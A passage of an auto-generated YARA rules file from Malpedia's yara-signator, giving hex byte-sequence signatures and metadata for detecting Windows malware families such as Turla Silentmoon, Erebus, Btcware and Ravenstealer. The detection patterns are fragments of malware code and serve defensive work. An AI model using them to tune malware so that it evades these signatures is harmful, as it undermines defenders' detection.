		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a64 57 6a00 6800020000 e8???????? 0f1006 8b4514 }
		$sequence_1 = { 50 8d45fc 50 8d45f0 50 ffd6 8b4510 }
		$sequence_2 = { 8b8db8f6ffff 85c9 7445 8b3c8dd42b0110 85ff 0f8588000000 33c0 }
		$sequence_3 = { 83c40c 6b45e430 8945e0 8d8028a10110 8945e4 803800 }
		$sequence_4 = { 83c408 8bd8 8b4720 6a00 56 53 6a10 }
		$sequence_5 = { 038c8300180000 0fb6c2 038c8300140000 0fb68308200000 038c8300100000 334cb338 314f38 }
		$sequence_6 = { e8???????? 83c404 89861c020000 8b45e0 8d4e0c 6a06 8d901ca10110 }
		$sequence_7 = { 0f8eac000000 660f1f440000 8d0c8500000000 83bc0d0cffffff02 0f857f000000 8db574ffffff 03f1 }
		$sequence_8 = { 8b4604 03c3 50 ff36 e8???????? 8b4e04 }
		$sequence_9 = { 0fb74004 6685c0 7527 ff4508 83c304 }
	condition:
		7 of them and filesize < 244736
}

rule MALPEDIA_Win_Himera_Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d48b80f9-ba7c-5b70-abe3-35c7e699db08"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.himera_loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.himera_loader_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "ac37c3c2c74b38220d6622ffc9fadece4f2263ad47a93b2ffce232c15567e711"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645e656 c645e70e c645e801 c645e90e c645ea18 c645eb1a }
		$sequence_1 = { 83e03f c1f906 6bd038 8b0c8d00a14200 804c112802 5b }
		$sequence_2 = { 83bd00faffff00 7409 83bd1cfaffff00 7504 33c0 }
		$sequence_3 = { 0f84d3000000 8b048d7c3c4200 89858cf8ffff 85c0 0f8498000000 83f801 0f84b5000000 }
		$sequence_4 = { 6689411e 6a10 ba02000000 c1e204 8b4508 0fb70c10 }
		$sequence_5 = { 0fb6d0 85d2 744c 8d4df0 e8???????? 8945e8 8b45e8 }
		$sequence_6 = { e8???????? 83c404 33d2 88957582ffff }
		$sequence_7 = { 8d950c82ffff 52 8d85ec81ffff 50 8d8de881ffff 51 }
		$sequence_8 = { 8945f0 50 8d45f4 64a300000000 894da4 c745a048000000 c645a846 }
		$sequence_9 = { e8???????? 8bc8 e8???????? 50 8b8d3082ffff }
	condition:
		7 of them and filesize < 385024
}

rule MALPEDIA_Win_Rhino_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "301844bb-5a4f-5171-97e6-f16bb6b6ee32"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rhino"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rhino_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "5ce22b89951420015e2398779d8c31359ab3803912d8b24c1d8c37a7a67db86a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3944240c 760a f71487 40 3b44240c 72f6 }
		$sequence_1 = { 8bc7 c1c806 33c8 8b44242c 33442420 23c7 3344242c }
		$sequence_2 = { 8d45d8 50 6a06 8bce e8???????? 6a00 6a01 }
		$sequence_3 = { 03c1 8b4c2420 83d500 894114 8b470c f7e0 }
		$sequence_4 = { 8d45d0 50 e8???????? e8???????? c20800 8b5114 }
		$sequence_5 = { 83ec78 8d6c24fc a1???????? 33c5 894578 6a14 b8???????? }
		$sequence_6 = { 53 53 6800000008 51 53 53 56 }
		$sequence_7 = { 68???????? 50 e8???????? 83c40c 8365fc00 8bce 50 }
		$sequence_8 = { 8b06 ff5048 85c0 0f849c000000 807c241006 0f8591000000 57 }
		$sequence_9 = { 8b5528 0f1101 034c241c 836c242801 89442410 894c2414 758a }
	condition:
		7 of them and filesize < 1288192
}

rule MALPEDIA_Win_Turla_Silentmoon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "711d8460-3e95-57e5-96e4-0d30c9eba978"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.turla_silentmoon_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "3d4cfb37bdf5585573f2013bd7786899d7b9f149ed83fd0e028e64c3f10d7b64"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4df4 83c404 51 ffd7 83c404 8d95e4f7ffff }
		$sequence_1 = { 7ce0 8b55d4 47 03c9 897dd0 3bfa 7ec7 }
		$sequence_2 = { 41 3b4df0 7ce3 8955d4 83fa11 0f8fe8000000 83f801 }
		$sequence_3 = { 50 6a01 8d4dff 51 56 c645ffec 895dec }
		$sequence_4 = { ff15???????? 8b4ddc 8b35???????? 51 ffd6 8b55e0 52 }
		$sequence_5 = { 85c0 7407 32c0 5e 8be5 5d c3 }
		$sequence_6 = { 8955fc 8bd9 8975f4 8bc6 8bff 3bc8 7f24 }
		$sequence_7 = { 09be58020000 8b7df8 898e5c020000 0fb77c7b52 897df4 8b3cba 897dd4 }
		$sequence_8 = { 83f801 752e 8b4508 8b7c245c }
		$sequence_9 = { 5f 8be5 5d c3 8b55fc 6a04 8d4df8 }
	condition:
		7 of them and filesize < 204800
}

rule MALPEDIA_Win_Sphijacker_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "077eac03-f3ac-5e2b-a96b-7f5530f41d45"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sphijacker"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sphijacker_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "99b2b9f410e1eea51f0fdbb2a2e5758813b393a388e6990a38118e63ac79cf3a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33db 488d154de60100 4533c0 488d0c9b 488d0cca baa00f0000 e8???????? }
		$sequence_1 = { 4885c9 741c 488d05208b0000 483bc8 7410 b801000000 f00fc1815c010000 }
		$sequence_2 = { 488d159ee00100 ff15???????? 488b4d20 488d4510 c744242804000000 }
		$sequence_3 = { 488d8d16120000 0f1005???????? 898510120000 33d2 0fb705???????? 41b8f2010000 }
		$sequence_4 = { 6666660f1f840000000000 803099 488d4004 4883e901 75f3 }
		$sequence_5 = { 488d4510 c744242804000000 488d158fdb0100 41b904000000 4889442420 }
		$sequence_6 = { 4533db 488d3d6b340000 4d85c9 488bc2 4c8be2 }
		$sequence_7 = { 488b4d18 4c8d4520 488d158ee30100 ff15???????? 488b4d20 }
		$sequence_8 = { 8b442430 8bc8 cd29 488d0d765e0100 e8???????? 488b442428 }
		$sequence_9 = { 57 4883ec20 418bf0 4c8d0d2b320100 8bda 4c8d051a320100 488bf9 }
	condition:
		7 of them and filesize < 808960
}

rule MALPEDIA_Win_Erebus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "39f02208-f6d1-53ec-bb2d-e4d6d7fbb231"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.erebus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.erebus_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "720efa579203a9c164159e94c36d17e968a866b84ffb4b18a083c36176a0a8d5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 53 50 52 8bcf e8???????? 837d1c08 }
		$sequence_1 = { 32db eb02 b301 57 e8???????? 83c404 c7442420ffffffff }
		$sequence_2 = { 83c430 837dec10 720b ff75d8 e8???????? 83c404 837d1c10 }
		$sequence_3 = { 55 57 8bf9 3bfa 7412 8d049d00000000 50 }
		$sequence_4 = { 732f 8a80c4244f00 8d4da8 88857cfeffff ffb57cfeffff 6a01 e8???????? }
		$sequence_5 = { 8d4e38 e8???????? 8d87e4000000 50 8d8ee4000000 e8???????? 5f }
		$sequence_6 = { 8b542410 f30f6f40f0 83c708 8d4920 8d4020 660f380005???????? f30f7f41e0 }
		$sequence_7 = { 83c40c 8b4610 89442444 8b542450 33c0 8b742454 8bca }
		$sequence_8 = { 83f905 7d10 668b444b0c 6689044d0c775200 41 ebe8 8bce }
		$sequence_9 = { bd20000000 83c6fc 2be9 03f2 8b16 8d76fc }
	condition:
		7 of them and filesize < 2564096
}

rule MALPEDIA_Win_Dratzarus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f9302a79-cbbb-577e-b0de-afebe2c4bd13"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dratzarus_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "0edbbc2d6b5b6d721d8b3aacd843dcee1111d0fce65e6b309e3647e78f406b33"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c7850002000016bc0b71 c78504020000128aa4ac c785080200000fa52ff4 c7850c020000421880f6 c7851002000023121336 }
		$sequence_1 = { c7852802000014a20b6d c7852c02000012d8a499 c785300200000fa32ffa c78534020000420d80c7 c78538020000230a133f 66c7853c0200003e85 }
		$sequence_2 = { 894511 66894515 8b05???????? 894517 0fb705???????? 6689451b }
		$sequence_3 = { 6689440afe 6685c0 75ef 33c0 4883c9ff 488dbc2480060000 }
		$sequence_4 = { 488d8de0000000 ba0f000000 488905???????? e8???????? 488bcb 488bd0 ff15???????? }
		$sequence_5 = { bf01000000 488bcb ff15???????? 8bc7 488b8c2460020000 4833cc e8???????? }
		$sequence_6 = { c74424306133dc18 c7442434679eb315 66c744243876d4 c785e0000000eb6cf5c3 }
		$sequence_7 = { c7450c4b676e4a c745101d29ecd4 c745142daca8b6 c64518f2 c785800000005e7c6d4c c78584000000747e6447 c785880000003134f9ef }
		$sequence_8 = { 89842454020000 e8???????? b902000000 8d5701 4533c0 }
		$sequence_9 = { 488bd0 ff15???????? 488d8da0020000 ba14000000 488905???????? e8???????? 488bd0 }
	condition:
		7 of them and filesize < 1606656
}

rule MALPEDIA_Win_Tinymet_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4e92467-e964-5a19-9a8e-d27b4954cbf2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinymet"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinymet_auto.yar#L1-L105"
		license_url = "N/A"
		logic_hash = "bbccdde23def456246dacbb5efe68ad5d612883065da6028a6a7729364ff21ca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e9???????? 8b400c ff750c 8b00 8b00 a3???????? }
		$sequence_1 = { 7419 a1???????? 6a00 83c005 56 }
		$sequence_2 = { 5e 5d c3 a1???????? 56 57 6a5c }
		$sequence_3 = { 85c0 0f8545010000 ff7508 ff15???????? 85c0 750a 68???????? }
		$sequence_4 = { 385d10 7416 6a04 8d45fc }
		$sequence_5 = { 8d45f0 50 8d45e8 50 e8???????? 83c410 b80033a084 }
		$sequence_6 = { a1???????? 59 50 ff35???????? }
		$sequence_7 = { 33c0 57 668906 e8???????? a3???????? 8d4602 50 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Carrotball_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "93abea8a-2155-53fb-92a0-ba3485bf7552"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotball"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.carrotball_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "c456cd5c607eeb3fd6729b04660b73d440499731727e6676847cfbec1800428f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7451 6a00 68???????? ff15???????? }
		$sequence_1 = { 6a20 6a00 68???????? 83f878 751f 68???????? }
		$sequence_2 = { 6a00 6802000080 6a20 6a00 }
		$sequence_3 = { 85c0 7432 8d85ecfdffff 50 ff15???????? }
		$sequence_4 = { 68???????? ff15???????? eb36 68???????? 56 }
		$sequence_5 = { 8d85f4fdffff 50 c785ecfdffff00000000 ff15???????? }
		$sequence_6 = { 85c0 0f84f5000000 57 6a00 6a00 }
		$sequence_7 = { 85c0 7451 6a00 68???????? ff15???????? eb36 }
		$sequence_8 = { 0f84f5000000 57 6a00 6a00 }
		$sequence_9 = { 6a04 58 6bc000 c7807430001002000000 6a04 58 6bc000 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Soundbite_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "55542a6a-ff29-54af-9f72-2267cf185584"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbite_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "6e24536cd693eee2b46e8cd501f367ecabfbf15578ea8b1ce9e2cbd21490b0c3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8dbd64fdffff 898590fdffff 889db7fdffff 899d64fdffff 899d68fdffff 899d6cfdffff }
		$sequence_1 = { 51 8dbd64fdffff e8???????? c645fc02 8b13 8bb564fdffff 52 }
		$sequence_2 = { 8d7c5702 4b ebea 3bf8 0f83b2000000 0fb707 }
		$sequence_3 = { 0f849a010000 e8???????? 85c0 0f848d010000 8d85d8fcffff }
		$sequence_4 = { c645fc04 8bbdf8fcffff 3bcb 0f83c9000000 8bd6 3bfa 0f87bf000000 }
		$sequence_5 = { 898d54fdffff 898d58fdffff 8d8db7fdffff 40 51 8dbd50fdffff c685b7fdffff00 }
		$sequence_6 = { 395de4 741d 8bc7 c1f805 83e71f c1e706 8b048500cf4200 }
		$sequence_7 = { ff15???????? 8bf0 8d85a0fdffff e8???????? e9???????? 8bb5a8fdffff 8d85a0fdffff }
		$sequence_8 = { 33049df02e4200 81e2ff000000 330495f03a4200 4f 0f85fcfdffff 83fe04 7250 }
		$sequence_9 = { 85f6 0f85b3020000 50 e8???????? 83c404 8db578fdffff e8???????? }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Appleseed_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6233653f-8647-5513-96a5-b2cd884fdea1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.appleseed"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.appleseed_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "142435c8e7521abcc92619a4e86e241d8250a7e1e464619e8d897ededc2c5423"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4989742410 41c6042400 49837f1810 7208 498b0f e8???????? 49c747180f000000 }
		$sequence_1 = { 0f8414010000 488d15d2160200 488d4db8 e8???????? 90 488d55d8 488bc8 }
		$sequence_2 = { 48894c2470 33f6 89742440 48c741180f000000 48897110 408831 4533c0 }
		$sequence_3 = { 48837dd010 7209 488b4db8 e8???????? 48833d????????00 0f847c180000 48c745d00f000000 }
		$sequence_4 = { 480f434daf 488b5d07 4c8bc3 4c8b75bf 4c3bf3 4d0f42c6 4d85c0 }
		$sequence_5 = { 4889742440 4088742430 448d463c 488d1524b40100 488d4c2430 e8???????? 90 }
		$sequence_6 = { 488b5c2438 4883c420 5e c3 488d0d887c0200 e8???????? }
		$sequence_7 = { 48897310 c60300 48837d9810 7209 488b4d80 }
		$sequence_8 = { e8???????? 488325????????00 4883c428 c3 488d05310a0200 c3 4053 }
		$sequence_9 = { 488bfa 488bf1 4533f6 4489742460 44887580 33d2 41b8ff030000 }
	condition:
		7 of them and filesize < 497664
}

rule MALPEDIA_Win_Ati_Agent_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "7923380a-3a79-5e9d-9e37-869ed5e218b2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ati_agent"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ati_agent_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "6ad1a7df4d93d69034a0d3b89b3f7bb98b02a7b32cfc4a510150a1520d075ff9"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4885c0 7404 f0440108 488d4158 41b806000000 488d1532cf0000 }
		$sequence_1 = { c3 48895c2408 4889742410 57 4883ec70 8bf2 }
		$sequence_2 = { 48895c2408 57 4883ec20 488d1d67870000 }
		$sequence_3 = { 488d4158 41b806000000 488d1594c50000 483950f0 740b }
		$sequence_4 = { 4883ec40 488b05???????? 4833c4 4889442438 498bf0 488bfa }
		$sequence_5 = { 7d16 4863cf 8a84191d010000 42888401e0e80000 ffc7 ebde }
		$sequence_6 = { 4c8bef 49c1fd05 4c8d3528e20000 83e31f 486bdb58 }
		$sequence_7 = { e8???????? 4883c448 c3 4053 4883ec40 8bd9 }
		$sequence_8 = { 48890d???????? c3 4883ec28 4c8bc1 }
		$sequence_9 = { e8???????? b9ff000000 e8???????? 488bfb 4803ff 4c8d2df1790000 49837cfd0000 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Btcware_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fb79124d-5478-5d65-bb0b-b2f45f8507ae"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.btcware"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.btcware_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "953afc4c0f32ce8172077704d80fd52c7aee0d584b7d86a36e176eb1e7df5fbe"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d85f4faffff 68???????? 50 ffd6 83c418 8d85f0faffff 50 }
		$sequence_1 = { 8b4610 c6040800 83ff03 7ca9 8b7dd8 33db }
		$sequence_2 = { e8???????? 8904bd40d04100 85c0 7514 }
		$sequence_3 = { 6888d38101 68???????? 6a00 ffd3 33d2 }
		$sequence_4 = { 50 ffb5a0d7ffff ff15???????? 85c0 0f8518feffff }
		$sequence_5 = { 5d c3 55 8bec 83e4f8 b81c820000 }
		$sequence_6 = { b880fd8101 c3 b87cfd8101 c3 53 56 }
		$sequence_7 = { 897df4 3bfb 0f8e6fffffff 83c8ff eb07 8b04cdc42f4100 5f }
		$sequence_8 = { c78564ffffff0f000000 c68550ffffff00 83f810 7245 8b8d38ffffff }
		$sequence_9 = { 8945e0 8d8058c54100 8945e4 803800 8bc8 7435 8a4101 }
	condition:
		7 of them and filesize < 458752
}

rule MALPEDIA_Win_Hesperbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e0f58539-e576-5f23-9601-3ac2130a34d6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hesperbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hesperbot_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "1227a34f1bfab44843a47045e0bfbe06efc158b222a90f56ca95eeb7d184b831"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33f0 8b442440 0b442438 33cf 23442448 8b7c2444 8b5c2440 }
		$sequence_1 = { 33c0 f644240401 7405 b800000200 f644240402 7405 }
		$sequence_2 = { 33ed 0be9 33f5 8b6c244c 0fa4dd19 c1e807 c1e319 }
		$sequence_3 = { 5e c3 56 8d7010 e8???????? 5e c3 }
		$sequence_4 = { 0bcd 33f1 8b4c2434 0b4c242c c1e807 c1e319 0bc3 }
		$sequence_5 = { 3bc6 741c 3930 7418 }
		$sequence_6 = { 134c241c 01442438 89442458 8b442420 114c243c 8bf8 0facdf1c }
		$sequence_7 = { 8b4708 89460c 8b4704 894610 8b4714 894614 8b442408 }
		$sequence_8 = { 5f 5b 5d c3 55 8bec 81ecd8000000 }
		$sequence_9 = { 59 85db 742f 56 ff742414 }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Makloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "26ebb112-b6ed-51a4-bad8-c324e66e4906"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.makloader_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "854a6b1744de222da9ac653a892bbe0900bac42ce1325f6f01c3e73dc26cfb28"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6bca00 8b440dbc 8b540dc0 b127 }
		$sequence_1 = { c7857cebffff00000000 c78580ebffff00000000 8d8554e5ffff 898584ebffff c78588ebffff00000000 8d8d74ebffff }
		$sequence_2 = { 33d2 8b45fc 83c003 8810 8b45fc 8be5 }
		$sequence_3 = { a1???????? 33c5 8945fc c745c000100000 }
		$sequence_4 = { 8b94d530fdffff b103 e8???????? 0bd8 8b8520fdffff 0bc2 33f3 }
		$sequence_5 = { e8???????? 8818 ebbf 6a09 8b4df8 83c101 e8???????? }
		$sequence_6 = { 8b540dc0 b122 e8???????? 8bd8 }
		$sequence_7 = { 89856ce6ffff 33d2 899514e5ffff 899518e5ffff }
		$sequence_8 = { 8b08 8b55cc 52 8b410c }
		$sequence_9 = { 884130 ba01000000 6bc230 8b4d08 0fb61401 52 8b4dfc }
	condition:
		7 of them and filesize < 335872
}

rule MALPEDIA_Win_Ravenstealer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "84f90220-3279-5007-a5a1-8ce5ade31449"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ravenstealer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ravenstealer_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "79823541f3a380244fa96c3e3bd68dec6432b3566c33a9fa586cf37babf2bf66"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4c8b742430 4883c438 415f 415c 5f 5b c3 }
